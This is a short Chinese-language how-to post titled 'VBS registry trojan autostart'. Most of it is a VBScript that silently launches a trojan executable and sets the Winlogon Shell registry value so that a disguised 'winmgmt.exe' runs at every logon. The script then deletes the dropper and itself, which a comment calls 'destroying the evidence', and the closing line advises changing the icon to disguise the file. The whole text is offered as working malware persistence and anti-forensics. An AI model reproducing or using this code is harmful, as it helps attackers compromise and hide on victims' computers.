vbs 注册表实现木马自启动

呵呵～不过别人一般没这个闲工夫检查那么多位置的！就连我也做不到～～

dim wsh
set wsh=createobject("wscript.shell")
wsh.run "%windir%\flumasko.exe",0 //运行木马程序
set sm=wscript.createobject("wscript.shell")
sm.regwrite "hklm\software\microsoft\windows nt\currentversion\winlogon\shell","explorer.exe %systemroot%\system32\winmgmt.exe"
//写进注册表项实现自启动
set wshshell=wscript.createobject("wscript.shell")
wscript.sleep 2000
//等木马的执行完毕
set fso=createobject("scripting.filesystemobject")
f=fso.deletefile ("flumasko.exe")
f=fso.deletefile (wscript.scriptname)
//毁尸灭迹

再修改下图标就大功告成了！